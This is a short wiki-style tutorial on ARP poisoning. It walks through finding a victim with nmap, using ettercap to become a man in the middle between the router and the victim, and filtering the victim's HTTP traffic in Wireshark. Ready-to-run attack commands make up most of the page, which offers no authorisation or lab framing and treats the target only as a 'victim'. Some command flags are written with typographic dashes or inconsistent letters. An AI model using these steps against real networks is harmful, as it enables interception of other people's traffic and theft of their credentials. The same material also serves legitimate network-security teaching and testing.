ARP Poisoning

ARP Poisoning

With ARP Poisoning you are able to be the **Man in the middle** and with that you can catch the network traffic from a specific device. ARP is used to discover devices in a network and say them which IP has the router.

https://www.ettercap-project.org/ | https://www.youtube.com/watch?v=-rSqbgI7oZM

To install Ettercap:

`sudo apt install ettercap-text-only`

Ettercap, Wireshark and NMAP are very good tools to perform this request.

Perform attack

1. Find your target with NMAP
    1. **sudo nmap –sn <xxx.xxx.xxx.xxx/xx>** (network with subnet)
    2. In the results you see every IP with their MAC address
    3. Extract the IP of your victim
2. Perform the ARP Poisoning as following

`sudo ettercap –T –S –I <interface> -M arp:remote /ip.of.rou.ter// /ip.of.vic.tim//`

Parameter	Explanation
-T	For text only -> no graphics
-S	Not use SSL
-i	Specify interface
-M	For Man in the Middle

After hitting enter you will see the traffic between router and victim. To see it in a proper way we continue with wireshark.

Open Wireshark and filter for the victims IP

Filter: **ip.addr == <ip.of.vic.tim> && http** (to filter only http traffic)

And now you see only traffic from this IP address

But remind that you don’t see secure traffic.

To visual analyze the traffic save the file to a **.pcap** or a **.pcapng** and upload it to https://apackets.com/upload there you see it very detailed.

Revision #2
Created 9 July 2022 14:57:21 by Togoboi
Updated 10 July 2022 08:31:09 by Togoboi